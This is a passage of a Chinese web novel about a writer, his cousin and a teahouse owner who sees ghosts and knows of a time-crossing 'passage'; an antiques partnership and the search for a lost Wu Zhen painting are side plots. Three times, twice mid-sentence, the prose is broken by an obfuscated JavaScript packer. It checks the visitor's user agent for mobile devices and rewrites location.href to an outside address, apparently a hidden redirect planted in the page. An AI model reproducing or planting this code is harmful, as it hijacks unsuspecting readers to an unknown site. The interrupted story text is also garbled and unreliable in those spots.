“觐灵的祖父经营这家茶馆时,就发现‘通道’的存在,因为偶尔有客人迷失在里边。当然这样的事,好几年才会出一桩。”李则成说完话,看向卿年。 “都是些什么人?”卿年急忙问。 “这我就不大清楚,要问觐灵。”则成回。 “怎么确认‘通道’真实存在,而不是人产生幻觉?”卿甫冷语。他并不大相信世间有这种东西存在,这确实颠覆了他的观念。 “那不是幻觉,我自己清楚。”卿年不乐意听卿甫这样说,因为他知道什么是幻觉,什么是真实。他确实在里边喝了茶,还吃了一块菊花糕,味道现在还记得。 “你不信,可以不听,也不要去缠觐灵解答,让他说也是这么回事。”李则成对卿甫似乎一直有莫名其妙的敌意。 其实那天在学校,李则成打电话给觐灵前,就已经见到觐灵和卿甫在交谈,两人有说有笑,十分扎眼。 “那好,既然那条‘通道’真得存在,为什么又在那里建洗手间,那可是人来人往的地方,要失踪个把人再容易不过,这说不通吧。”卿甫指出其中的疑点。 “我前头说过,好几年都不出一桩,洗手间在茶馆建成时就安排在那个地点。你还有什么需要解答的?”李则成问。 觐灵出来,手里拿个盒子,走到卿年身边,将盒子递上说:“这是串玛瑙念珠,能辟邪,你戴上。” 卿年接过盒子,打开,取出念珠。念珠一取出,神奇的事情发生了,原本坐在角落里的鬼魂立即消失。 卿年喜不自胜,急忙戴上。 “觐灵,你有这么好的东西,以前也不拿来给我戴。”李则成凑过去,打量那串佛珠。 “卿甫,这念珠有神力,一拿出来那些东西就真的都不见了。”卿年十分惊喜。 “觐灵,如果‘通道’真得存在,为什么只有极少数人能看见?”卿甫想要觐灵亲自告诉他,他根本不信李则成的说法。 “我也不清楚,能见到‘通道’的人,本身没有什么共通之处。”觐灵回答。 本来就是科学无法解释的事情。 已是夜晚,卿甫走前特别留意李则成,他想知道这人是不是会留下来过夜,朱馆长家里并没有其他亲人。 觐灵将卿甫与卿年送出门时,李则成正在门口换鞋子。 “要不要载你一程。”卿甫有意问道。 “不劳你,我车停在附近停车场,可不像有的人,乱停车把别人家门口堵住。”李则成摆手拒绝。 听到这话,卿甫也不恼。 卿甫和卿年上车,觐灵站在车窗前,嘱咐:“赵先生,卿年先生,希望你们对这事保密,如果外传的话,茶馆将无法营业。” “朱馆主放心。”卿年回。 觐灵微笑,挥手。 车启动,正见李则成套上外衣,走出院子,他显然也要离开。 路上,卿年问卿甫:“你和李则成以前有过节吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14691850|156959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 卿甫淡然回:“我校庆那天才认识他,能有什么过节,不过就是觉得他不像好人。” 李则成见卿甫的车开走,转身朝觐灵走去,问道:“你真不留我过夜?” 觐灵回:“早点回去,你女儿还在等你。况且,我何曾留你过夜。” 李则成望向卿甫车离去的方向说:“那个赵卿甫,我记得你以前一向不喜欢这类人。” 觐灵不理解,赵卿甫为何会跟李则成起冲突,他与赵卿甫刚认识,而且对方明显不是同性取向。 是不是这种人,觐灵看得出来。 “赵先生不是我这种人,至于我喜欢什么样的人,这么多年过去了,总会有变化。则成,七年前你做了选择,我也做了选择。” 李则成沉默,他没想到觐灵会这么直接说起七年前的事情,他有时候会产生幻觉,也就是无论他成家与否,觐灵始终是觐灵,他们之间的深切联系,并不曾割断。 七年间,他们断了联系,也不再见面,直到这次校庆,李则成从外地回来。 李则成已离异,但是覆水难收。 “我今日仍让你进这间房子,还当你是位熟人,仅此而已。多年前,我已经把恩怨都斩断了。”觐灵说到把恩怨都斩断时,神色静肃,他这副模样,不可侵犯,李则成那点邪念可算无地自容。 “人生没有回头路,我怎么可能不懂,只不过每次见到你,总会痴心妄想。” 他们曾是学生时期的恋人。 只是世上没有后悔药,七年后再来纠缠,那真得是无耻之徒了。 觐灵冷语:“请回去。” 李则成默然,望着觐灵,再说不出什么话来。 还有什么好说的呢? 自己当年做的选择。 昏黄灯光下的觐灵,显得那么静穆,他目送李则成离去,眼里没有寂寥,只有淡漠。 李则成离开,觐灵返回屋中,看着空荡的大厅,他想到适才有过的热闹,心中黯然。 他大概注定要孤独一辈子吧,这么多年,独身一人,其中的苦楚,他人难以知晓。 屋中,民国装束的女鬼仍坐在角落里,觐灵回头望向院子,对弈的人已离去,老园丁的鬼魂还在游荡。 也不是真的独身一人,他看得见一些别人看不见的东西,感受着别人感受不到的东西,那些陈旧的,散发着腐朽气息的痛苦与迷恋。 人真是种顽固的生物,即使死去,仍要留下执念,恋恋不肯舍去。 八年前,觐灵还是位大学生,暑假在自家茶馆帮手,当时,茶馆的馆主,是觐灵的父亲。 那时候茶馆的生意冷清,以至差点经营不下去。 觐灵大学刚毕业,父亲便去世,当时有一些人想来盘店,价格压得很低,被觐灵拒绝。 即使倾家荡产,暗香茶馆他也不想卖。 这是觐灵的坚持,他接手茶馆,重新装修,使濒临倒闭的茶馆逐渐盈利,并且在当地有了名气。 觐灵并非有多高超的经商手段,他日以继夜的操劳,甚至也曾亲自充当服务员,以便了解顾客的需求。 暗香茶馆,是朱家三代人的心血,对觐灵而言,这也不只是一间茶馆而已,这里承载着他小半生的记忆。 第一位发现暗香茶馆通道的人,并不是觐灵,那是比较久远的事情,是在觐灵祖父当馆主的时候。 一位顾客在“通道”失踪,并在多日后自己走出来,逢人便讲述他的离奇经历,不过,没有人信。 第二位失踪者是位孩童,在“通道”内迷失一天,当时觐灵的父亲在场,亲眼目睹这桩怪事,终于相信“通道”的传言,乃是事实。 毕竟好几年才出一次失踪事件,确认那“通道”只有极少极少人能看见能进入,觐灵的父亲就也将茶馆继续经营下去。 这种事说出去也没人信,茶馆照常营业。 到觐灵六岁时,有天他在茶馆内玩耍,并在茶馆内失踪,这一失踪不要紧,整整找了一个多月,急得他父母把寻人启事张贴遍全市。 一个多月后,觐灵出现在茶馆,仍是失踪时的穿戴,人安然无恙。 这之后,觐灵的父母不准觐灵上茶馆二楼。觐灵逐渐长大后,不再听话,那条“通道”对他有致命的吸引力,他时常偷偷进入。 觐灵接手茶馆的第二年,一位顾客发现“通道”,所幸没有进去,也没惹来麻烦。 觐灵认为这个秘密不会外传,而他也只告诉过李则成。 “通道”只对某些人开放,这类人只怕几万人中才有一位。 李则成曾经不甘心,深夜在二楼的洗手间蹲点,等候“通道”出现。 当然无论他怎么努力,终究是看不见,进不去。 为此,李则成问觐灵,在“通道”内,觐灵见到了什么?觐灵告诉他是另一间茶馆,但不是现代的茶馆。 时空在那里交错,历史在那里停滞,觐灵见得到,摸得到,李则成无能为力。 觐灵眼中的世界,和他人眼中的都不一样,这份孤独感陪伴着觐灵长大,以至成年后,当他发现自己取向异同于常人时,他也仅是认为,他宿命如此。 很多事无法与人道出,再激烈的情感也必须压抑于内心,这就是他的人生。 4. 第 4 章 折腾一晚,回到家后,卿甫和卿年沉沉睡了一觉。 清早,卿甫将卿年送去机场,俩兄弟话别,卿年说他下次回来,还要去暗香茶馆喝茶。 “这样的经历太奇妙了,真想再进去一趟。”卿年感慨。 “吓得半死,还想再进去?”其实,卿甫倒也想见见,那“通道”里有什么,可惜他看不到。 卿年才不承认他被鬼魂吓得半死,反正他现在不怕什么鬼魂,有念珠在手。 离开机场,卿甫开车赶往古玩街。 他今天与老罗父子有约,要盘点店中的货物。 古玩街一早游客稀少,卿甫前往自家店面门口,见罗仲敏人已在那里。 “来了多久?”卿甫掏钥匙开店门。仲敏退开,忙说:“刚来。” “唰”的一声,防盗门弹开,接着是里边的卷闸门自动升起,满是尘埃的店铺,就都落在仲敏眼中。 仲敏进去,四处摸摸看看,也不忌讳灰尘。 卿甫开灯,进会客厅,将随身带来的店铺合约取出,并去开保险柜,将一叠叠帐本翻出,边翻边问:“老罗头不过来吗?” “用不上他,我就行。”仲敏蹲在地上,打量一件大鼎,在鼎上摸摸看看,又说:“这玩意有人买吗?这么大一件买回去往哪放?” “有需求才有供应。”卿甫悠然回答。 仲敏拍拍手,从地上站起,把里里外外打量了一遍,嘴里念叨:“没有织品柜。” “老刘对织品不在行。”卿甫回答。 “卿甫,店里的货柜要重新布置下,织品利润可高了,怎么可以不做。还有,把店名招牌都换下,‘怀古斋’没特色,要另取个大气有特点的名字。”仲敏摩拳擦掌,显然是准备大干一场。 “可以,你去想个店名。先过来将货物盘点,现在十点,今天还不知道能不能盘点完。”卿甫将帐本递给仲敏。 厚厚一大本,仲敏接过,翻了几下,问:“从哪里开始?” “就从青铜器开始吧。”卿甫手指角落上蹲的那件大型青铜鼎。 卿甫有先见之明,店里的货物从早上十点盘点至晚上11点,还剩好几箱小件古玩,大多是工艺品,卿甫说:“这些不用点,没几个钱。” 仲敏在清点货物过程中,便发觉卿甫不是个斤斤计较的人,因为有好几件帐上翻不到进货价的货物,仲敏要求丢一旁评估,卿甫都说不必要。 与人合伙做生意,最怕遇到锱铢必较的人,那是相当的不痛快,而且无论生意盈利与否,都会因利益起冲突。 自然,对卿甫这样的合伙人,仲敏很满意。 晚上11点才点完店里的货物,要核算总价还需要花费时间,两人便约定明日再继续、仲敏粗略算过价钱,心里有数,成为合伙人的话,需要一笔钱,这笔钱他掏得出来。 两人关好店铺,一起离开,在路上,仲敏对卿甫说:“店名就叫‘博盛斋’怎样?” “博盛古玩。”卿甫不喜欢太文雅的名字。 “好,就叫这个名字,我认识做招牌广告的朋友,招牌广告这些事,就我来弄好了,我会先让对方发图稿给你看下。” 仲敏这人办事利索。 “还有件事,我们争取下个礼拜重新开业,你以前的伙计还能招来吗?”仲敏问。店关一天赔一天,肯定要尽早恢复营业。 “要另外找,明日在店门上贴张招聘就行。还是说你有熟人?”卿甫问。 “我爹是说有个熟人,不过你也知道,熟人不好管理,还是招聘。”仲敏回。 两人你一句我一句,不知不觉已经走到停车场,于是分道扬镳。 今天相处一天,卿甫才算认识仲敏,这人做事认真,有担当,说不定换个合伙人,生意能起色,也算因祸得福。 第二天,两人核算金额,又过了几天,仲敏把钱款打入卿甫卡中。 枯木逢春,心情舒畅,卿甫约了平日几位交好,一起到暗香茶馆喝茶。 卿甫交友广泛,他的朋友中有书店老板,有搞收藏的,有开画廊的。四五人聚在暗香茶馆二楼叙旧,喝茶。卖书的抱怨最近书市不行;搞收藏的抱怨这年头有钱的门外汉大量涌入收藏市场,总之,这世道不好混。 一群人在包厢海侃,泡了两个钟茶,一看时候不早,立作鸟兽散。 卿甫留下买单,站在柜台正要结算,抬头见到楼梯口的觐灵,说道:“朱馆主,我们又见面了。” 觐灵微笑走来,吩咐收银员将帐单扣下,不用结算。 “你要不算我钱,那我下次就不敢来了。”卿甫从钱夹里抽出几张纸币,硬塞给收银员。 收银员为难,不肯收,卿甫亦不肯让人退回,见此,觐灵只得让收银员打个七折结算。 卿甫早发现觐灵脚上踩着一双黑色布鞋,上绣有 “暗香”二字。 “朱馆主,经常穿这双鞋子。” “穿习惯了,到茶馆来,就会换上。”觐灵以前在茶馆充当过服务员,因此养成习惯。 “你踩双暗香布鞋,估计不认识你的人,会误以为你是店员。就不奇怪外人说暗香茶馆的馆主神秘非常,神龙见首不见尾。”卿甫笑语。 “有这样的说法吗?”觐灵显得困惑,他并没有特意去营造神秘的氛围,只不过,平日里在茶馆走动,并不表明身份,他人确实也就不知道他是馆主。 “有的,而且在我看来,你确实很神秘。” 第一次见面就觉得这人耐人寻味,而在发现他本身有阴阳眼,且经营的茶馆存在神秘“通道”后,更添了神秘感。 “凡夫俗子,何来神秘。倒是赵先生难得过来一趟,方便留个墨宝吗?”觐灵出现在暗香茶馆里,他的身份就是位商人,他说这话,自然也是以茶馆利益方面去考虑。 茶馆一楼入口处镶有名人照片及字画,都是来茶馆喝茶的文人骚客留下。卿甫是当地的作家,小有名气,他既然来茶馆喝茶,显然也得留下点墨宝。 卿甫道:“我的字丑,挂上面可不合适。” “我见过你的字,写得很好。” 觐灵这话,让卿甫吃惊,问道:“你在哪里见过?” 卿甫小时候苦练过书法,但知道他会书法的人不多。 “我有你的签名书。”觐灵微笑,他亲眼见卿甫在书页上签字,由于书写的特点,使得他确定卿甫懂书法。 “去年夏天那场?”卿甫颇为惊讶。 他不记得在签售时见过觐灵,显然是他没留意到递书给他签名的购书者中有觐灵,当时即使留意到,也还不认识这人就是暗香茶馆的馆主。 “是的,我在签售会上见过你。” 为什么校庆的时候,他认出卿甫,因为见过面。 去年,卿甫新书出版,而他正好有开书店的朋友,那朋友便邀请他到书店签售。 这是举手之劳的事,对自己也有益处,卿甫便同意了。 签售只有一个钟头,购书者较多,卿甫当时光顾签书,没留意购买者长什么模样。 卿甫在签名墙上写下自己的名字。 事后想,似乎朱馆主的请求,他都会答应,这人身上似乎有某种魅惑人心的力量。 离开茶馆时,天色将黑,卿甫见朱馆长站在馆外,猜测他正在等车,便说顺路送一程,觐灵道谢。 路上,卿甫问觐灵为什么不买车。 “不会开车。”觐灵回答。 可能是需求不大,觐灵家离茶馆很近,平时步行就行。 将觐灵送回家,卿甫在门口停车,觐灵下车,互相道别。 觐灵没请卿甫进屋坐坐,两人只是普通的朋友而已。 几天后,卿年从外地打来电话,说他的症状已经消失,并将朱馆主的玛瑙念珠寄回,让卿甫帮忙签收,归还朱馆主。 “那条念珠很贵重,我还拿给师父看过,他说这是一件灵力很强的法器,你帮我好好谢谢朱馆主。”卿年在电话里如是说。 他说的“师父”是位风水师,他老爹做房产生意,平日又迷信,家里供养着一位风水大师。 过两天,卿甫接到快件,拆开正是玛瑙念珠,他并没有立即拿去还觐灵。 这时的卿甫,店铺刚重新开张,前来祝贺的人不少,每日都很忙碌。 老罗头交友众多,开张那几天,不时有朋友前来捧场,而以往的老顾客,听说这家店重新开张,也都好奇过来走动。 店里新招两位伙计,一男一女,男的是应届毕业生,女的倒是有些资历,看过几年古玩店。 这日下午,男伙计小张与女伙计黄姐在仓库忙活,仲敏去外地进货还没回来,店里只剩卿甫一人。 看到有客户进来,卿甫起身迎上,那客户不是别人,竟是李则成。 来者是客,何况还就真是顾客,卿甫是位商人,自然做不出逐客的事,他开口调侃:“李老板,我们挺有缘分。” 李则成见是卿甫也十分吃惊,问:“你的店?” 卿甫点下头。 “我以前常来这条街走动,不过也是好几年的事,你这家店开多久了?” “也就两年,入行晚了,要早几年,还能挣点钱。” 李则成无拘无束在店里四处走动,一会儿看瓷器一会儿看字画,似乎很有兴致。 “谦虚了吧,你们这些古玩老板,我打过交道的,个个挣得盆满钵满。”李则成边说边朝店中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14691851|156959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一件高大的兵马俑仿品走去,他将兵马俑上下打量,似乎有购买的意思。 卿甫道:“仓库有两尊将军俑,比这件高大,还是彩色的。” “放哪,我瞧下。” “我让仓库里的伙计拍张照片过来,你进来喝会茶等一等。” 打通电话给伙计小张,通知一番,随后卿甫将李则成请进会客室,两人对坐,泡茶。 泡的是龙井,李则成喝上一口,就说这茶不错,一斤得七八千。 “李老板是懂茶的人。”卿甫说道。 “不懂茶,可当不了觐灵的朋友。” 李则成这句话过于唐突,他似乎要强调什么。 卿甫想,大概是将我被当成情敌。 电脑的□□响起,伙计小张将两尊将军俑的照片发过来,照得很清晰。 李则成仔细端详,似乎很满意,果然他问过价格,便付了钱。 “我留个地址给你,照这个发,运输过程要保护好,一点磕碰都不行,这可是要放置在我的办公室里。” 李则成边说边写下一串地址。 卿甫先前在卿年那就曾听说,李则成在外地有公司,今日见他留的地址在外地,显然是如此,这家伙大概也将回去了。 做成这单交易,眼见天也快黑了,卿甫嘱咐小张与黄姐看好店,他开车外出,去找觐灵,帮卿年还那条玛瑙念珠。 电话联系,觐灵说他不在家,在一家书店,一听书店名字,店主正是卿甫的朋友。 等卿甫来到书店,见店主不在店里,卿甫也免去寒暄,直接载上觐灵说:“今天小挣一笔,走,请你吃饭,想吃什么?” “古玩果然是暴利生意。”觐灵微笑。 “无功不受禄,怎么突然要请我?” “卿年让我好好答谢你。” “他不怪我便好,要不是去我家茶馆,他也碰不上那些事。” 两人在镜湖畔找了家酒家,坐在楼上用餐,落地窗外便可见到湖堤,是个幽雅去处。 餐桌上,卿甫将玛瑙念珠连同盒子一并递给觐灵,觐灵打开盒子,取出那串念珠喃喃道:“我小时候一直戴着它。” 戴上念珠的人,便不会遭受鬼魂的侵扰。 “在这件事发生前,我原本不信鬼魂之说。”卿甫对视的觐灵双眸问:“你的眼睛,看着与常人无异。” 却能看见寻常人看不见的东西。 觐灵的眼睫毛密而长,一对眸子幽深不见底,卿甫也不知道他想在里边找到什么,他只看到自己的身影,印在觐灵的瞳孔之上。 靠得这么近,卿甫闻到觐灵身上的气息,淡淡的梅香,大概是用了香水吧。 “我能看到的东西很局限,我想每个人都一样。”觐灵并不想与卿甫对视,他别过脸,目光落在落地窗外。 卿甫意识到自己这样的动作有不敬之处,他坐回原位,朝觐灵所望之处眺望。 湖堤上行人不少,湖面上有两艘画舫,除此,只有堤上的路灯与四周高楼大厦的霓虹相应衬。 这里斗转星移,千年的时光流逝,他所见到的是其他人所见到的,而觐灵所见到的又是什么呢? 时空的限制,对于这类人形同虚构。 “不一样,譬如我写《燕云》只能参考古人的记述,而你所见到的古人,或许是真实存在,有形体,甚至可以触摸。” “这世间事物的真假我尚且无法辨认,又怎么可能有双穿越古今能辨虚实的眼睛,你想多了。”觐灵将目光从湖面收回,他看向卿甫,神情庄肃。 此时,服务员将两人点的菜肴送上,卿甫招呼觐灵吃菜,又是倒酒,又是夹菜,他对觐灵很殷勤。 “下午李则成到我店里购买两尊大俑,钱给得很爽快。”卿甫谈起李则成。 “他以前就有买古玩的嗜好,又不懂行。”觐灵轻笑,似乎并不意外。 “你们怎么认识?”卿甫话说出口,便有些后悔,觉得冒犯,不过见觐灵神色不改,便也就安心喝酒。 觐灵沉默小许,缓缓问:“你不是出于猎奇心理吧?” 卿甫立即正色回:“不是。” “人与人之间,也就是相识过,然后分离,能陪伴在一起的,都需要特殊的缘分,比如父母兄弟姐妹,比如夫妻。怎么认识,没有意思。”觐灵说这句话时,视线并不与卿甫对视。 卿甫明白,觐灵不想谈,在对方看来,他不是推心置腹的挚交。 从觐灵的话语中,可以知道,他认为特殊缘分只限于父母兄弟姐妹及夫妻,而他爱着的是同性,他一生永远也不会有厮守到老的人。 明明才二十几岁的人,却仿佛已经是位迟暮老人,失去对幸福的渴望。 5. 第 5 章 两人从酒楼下来,天色尚早,卿甫问觐灵有没有要紧事,没有的话,两人去湖堤上走走,就当饭后散步。 觐灵没有拒绝,他说,我正有此意。 路灯昏黄,湖堤上杨柳依依,偶有几伙结伴行人从身边走过,笑语盈盈。两人并无话,只是一味走,步伐缓慢。 天色渐暗,前方能望见公园的灯光,觐灵驻步,轻轻说:“听祖父说,我们家从外地迁来临城,有百余年,那时生活拮据,由此用一幅吴镇的梅花图盘下一间茶馆。” 吴镇,元人,工书法,善绘山水、梅花,号梅花道人。 “我还以为茶馆‘暗香’二字来自诗句,原来是吴镇的梅花图。” 卿甫不由地惋惜朱家将这样的画作抛售,又说:“用吴镇的画换间茶馆,这可不是笔划算的买卖。” “后来我曾祖父也很后悔,这幅画是传家之宝,据祖父说,在乱世中家产散尽,只抢得这幅画东逃而去。可惜,连最后一点遗留也保不住。”觐灵喟叹。 “我做古玩生意,结识几位收藏界的朋友,有一位对字画很有研究,说起来他儿子还是我那间古玩店的合伙人,你哪日有空,到我店中来坐会。只要那幅画作还在人间的话,就有可能托他寻着。” 卿甫立即想到老罗头,老罗头交友广,消息灵通。 “麻烦赵先生为我引荐,我是个闲人,什么时候都有空。” “后天下午,就约在古玩店里,你也还没去看过我的店吧。” “可以。”觐灵笑答。 路上,卿甫边开车边留意坐在身边的觐灵,觐灵目光落在窗外,若有所思,他的侧影很美丽,虽然这样形容男人,不大适合。 不经意间流露出的孤寂与忧郁的神情,让人不禁想抬手,去拂拭他垂于耳际的发丝,拭去他的哀伤。 卿甫将目光挪回,不想分心。 对方的心思,觐灵无知无觉,车停在他家院门前,他才仿佛从睡梦中醒中,喃喃说:“到了。” 下车,觐灵对卿甫道声谢谢,这次还是没请卿甫进去坐坐,或是喝茶。 见对方清瘦的身影消失于院门,卿甫才开车离去。 “卿甫啊,我发现你这人有梅花情结。” 小吴编辑的话,忽然在耳边回荡。 卿甫喃喃自语:“这是遇到了梅花一样的男子。” 从那双绣有“暗香”二字的黑色布鞋进入眼中那刻开始,这个叫朱觐灵的男子,就出现在卿甫的生活中。 夜里,卿甫正坐在电脑前,人在异地的罗仲敏突然打电话给他,叫他开电脑接几张照片。 随后,仲敏发来数十张照片,拍的都是同一件戏袍,年代可以断在晚清。戏袍颜色瑰丽,绣工超绝,袍身完整,没有损毁之处。 卿甫对织物一知半解,但见到这件戏袍亦十分惊喜,问仲敏戏服的来源。 “特别曲折,回去再和你细说,我瞅着是真货,卖家急着要出售,我们下手要快。”仲敏在手机里说。 “出价多少?”卿甫问。 仲敏立即报了个价格,价格不低啊。 “一口价?” “一口价,对方要求今晚就做决定,明日另有买家要看。”仲敏见卿甫仍在迟疑,又说:“老赵,这是笔好生意,我看转手能翻两倍。” 卿甫略做思考,回道。“买。” 获得卿甫首肯,仲敏语气兴奋:“买回来就是镇店之宝!” “你什么时候回来?” “明后天。” 又问了仲敏一些事,才结束通话。 卿甫看着电脑上的文档,再没有写作的心情,此时已经是深夜,摘下眼镜,起身伸展肢体。 偌大的宅子,只有卿甫,孑然一身,他虽然孤寂,内心世界却很充实。 在一些方面,卿甫与觐灵类似,他们身边都没有家人,都守着一栋老宅,都过着孤单的生活。 深夜,卿甫睡去,觐灵合上书,亦在沉睡,他床头柜上放置着一本书《燕云》。 今日,赵卿甫着实吓了他一跳,就在卿甫说:“你所见到的古人,或许是真实存在,有形体,甚至可以触摸。” 觐灵确实有过这样的经历。 他年少时经常偷偷进入茶馆“通道”,与古时茶馆里的人喝茶,也曾与茶客们促膝长谈。 赵卿甫《燕云》一书里描述过一位历史人物,此人号为云水先生,正是临城人,觐灵在古代茶馆里还真见过他。 当时云水先生身边有众多交友,一大群人坐一起品茶闲话,其中便有一位俊美男子,容貌与赵卿甫长得极像。 此人被友人称呼为:“赵兄”。 觐灵在后来,还曾在“通道”中与这位“赵兄”逢过面,从赵兄的装束看应该是一位官员,观察他的言谈举止,是性格刚毅,不拘小节的人。 当赵卿甫在书店签名售书时,觐灵拿《燕云》找他签名,那天卿甫并没有留意到觐灵,倒是觐灵见到他的容貌,大为震惊。 后来,当听到卿甫说卿年失踪于“通道”,觐灵才会感到惊讶,在他看来,能看见“通道”的,应该是卿甫,因为卿甫身上有他熟悉的东西,在《燕云》这书中有体现,与他这个人的容貌也有联系。 这种联系,说不清道不明,而那位叫“赵兄”的男子,亦给年少的觐灵留下深刻印象。 他曾多次进入“通道”想再找寻他,想要问清他的名字,却都没能再相见。萍水相逢,为什么会给自己留下这么深的印象,觐灵有时觉得自己应该是认识他的,甚至有时候几乎要想起这人的名字。 八百年后,赵卿甫写《燕云》,描述云水先生的一生;八百年前,“赵兄”与云水先生交好,或许也亲眼目睹了王朝的更迭,那□□好们或寂寥或悲戚的结局吧。 我是否曾参与其中?那时候的我又会是谁? 觐灵偶尔会这样想。 仲敏从外地回来,旅行包里塞得鼓鼓,他没有当场打开,而是拿进会客厅,见卿甫在里边,就将旅行包递给他,低声说:“回去再看。” 卿甫自然领会,将包塞进办公桌下,悠然说:“其他的呢?” 仲敏搬张椅子坐下,回:“托寄,明日能到。” 仲敏开古玩店是第一遭,做古玩生意却不是第一回。 他以前就倒卖过古玩,时常到乡下收古董,一瞅一个准,对这个行业相当熟悉,门路也广。 罗仲敏长得斯文白皙,外貌看不出是位奸商,所谓人不可貌像,海水不可斗量。 “对了,单据,还剩点钱。”仲敏从腰包里取出一沓纸币,又将一叠单据递给卿甫,卿甫约略点了下现钱,就连同单据一起锁抽屉里。 “你要不要回去睡会?”卿甫这人适应不了长途汽车,便想仲敏坐了五个钟的汽车,想来也会疲倦。 “不用,我车上也能睡,早睡饱了。”仲敏立即摆手,别看他长了张书生皮相,他这人可是铜筋铁骨。 既然这家伙说他不累,卿甫不再理会。 中午时候太阳老大,没什么客流,卿甫出会客室,到店外走动,见到伙计小张在摊子前与一位学生模样的顾客争执,那顾客想买枚玉坠,报的价格不合适,小张不肯卖。 “你给的价格太贵了。”顾客手捧玉坠,不肯退步。 本来店门外以前不摆小摊,因为小摊上卖的主要是些小玩意,仿制的玉坠,钱币之类,后来和仲敏合伙,仲敏要求搞一个小摊,理由是不要求挣钱,挣个人气就行。 “小张,怎么回事?”卿甫一时兴起,出声问询。 小张光顾与顾客交谈,没留意老板在身边,听到卿甫的话,急忙说:“他要价太低,又硬是要买。” 学生模样的顾客说:“老板,卖一个吧。” 看得出来这人囊中羞涩,又很喜欢这件东西。 卿甫说;“小张,卖他,去里边取个新盒子。” 小张也只得到里边去取新盒子,再出来将玉坠装盒中,顾客把钱付了,临走前,对卿甫说:“老板真好说话,下回一定还来光顾。” 卿甫轻笑,这小摊上的东西,还真得是卖个人气。 没一会儿,又走来两位年轻女孩,指着摊上的手链,跟小张谈价格。 卿甫回会客室,见仲敏正在翘脚看电视,看的还是家庭主妇最喜欢的苦情戏。 “仲敏,你的品位够独特的。” 仲敏笑回:“要有一双善于发现美的眼睛,你看这位女演员长得真好看,身材也好。” 卿甫瞄了一眼屏幕,一位女子正蹲地上哭得梨花带雨。 本来午间实在无聊,且让人昏昏欲睡,要换平时,卿甫早到别的地方透风去了,只因他与觐灵下午有约。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14691852|156959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 好不容易挨到下午三点,仲敏的苦情戏播完,趴在长椅上呼呼睡去,外头黄姐喊:“赵老板,有顾客找你。” 卿甫急忙外出,一见果然是觐灵,连忙迎上去。 觐灵撑把遮阳伞,上身穿着一件粹白衬衣,下身穿西裤,脚踩黑色布鞋,他这装扮在卿甫看来格外淡雅,说不出的喜欢。 卿甫将人往会客室带,小张与黄姐都好奇地伸长脖子打量觐灵,能让他们赵老板如此殷勤的客户可没几位。 卿甫将仲敏摇醒,仲敏睡得迷迷糊糊说:“干么?” 三人在茶桌前坐下,卿甫亲自泡茶。 仲敏原本睡眼惺忪,一见到觐灵睡意立即一扫而光,笑说:“老赵,不介绍下?” 卿甫自然是要介绍两人认识,说道:“朱馆主,这位便是老罗头的儿子,也是我的合伙人罗仲敏。” 又看向仲敏说:“小罗,这是暗香茶馆的朱觐灵馆主。” 卿甫刚做完介绍,仲敏已经抓住觐灵的手,态度热情:“久闻暗香茶馆大名,一直没机会结识朱馆主。” “仲敏,朱馆主想拜托你爹一件事。” “请说请说。”仲敏看向觐灵,笑容满面。 “我曾祖父生前曾经出售一副梅花图,乃是吴镇真迹。据祖父描述,图中老梅枝干虬曲,枝头梅花寥寥七八朵。可惜,年代久远,已不记得题跋。到我父亲那代,一直有心想将这幅画购回,可惜一直打听不到它的下落。”觐灵缓缓陈述。 能记得的,是父亲讲述的内容,父亲又是从祖父那儿听说,梅花图的题句,跋词,觐灵完全不知晓。 仲敏听后,第一句便问:“当时为什么出售?世传的吴镇梅花图只有寥寥几幅,而且其中有伪作,有争议之作,真迹可谓十分之珍贵。” 觐灵苦笑:“当时生活拮据,不得以而为之。” “这样的话,确实要问我父亲,我只知道当地收藏家手中并没有吴镇的画作,你有购图者的姓名吗?”仲敏略做思考,询问更详细的信息。 “买主姓李,应是临城籍贯,据说是位布商,也只有这么一点信息。”觐灵说完话,看着仲敏,怕对方说难找。 “即使找到,收藏者也不一定肯出售,吴镇的真迹,鲜见拍卖,可以说是有市无价。” 仲敏这话,让觐灵明白,即使真得找得到,也未必能获得。 “能知道它在哪位收藏家手里,能见上一眼,也算了却心愿。”觐灵先前就考虑到这种情况,他不强求。 “我回去问下我爹,他门路广,如果这件作品还存世,就不会难找。”仲敏愿意帮忙。 “多谢,要是能找到它,我必有重酬。”觐灵行礼。 “朱馆主说这话就生分了,你是赵哥的朋友,也是我的朋友。”仲敏眉开眼笑。 聊完梅花图的事,卿甫请觐灵到店里逛逛,看有什么喜欢的东西。 那意思是要送觐灵,觐灵也知道对方的想法,他相中一件青花笔洗,不值钱,是后人仿制的工艺品。 “这件好。”卿甫向觐灵推荐一件晚清粉彩笔洗,他一点不痛惜价钱,只一味想送他好的。 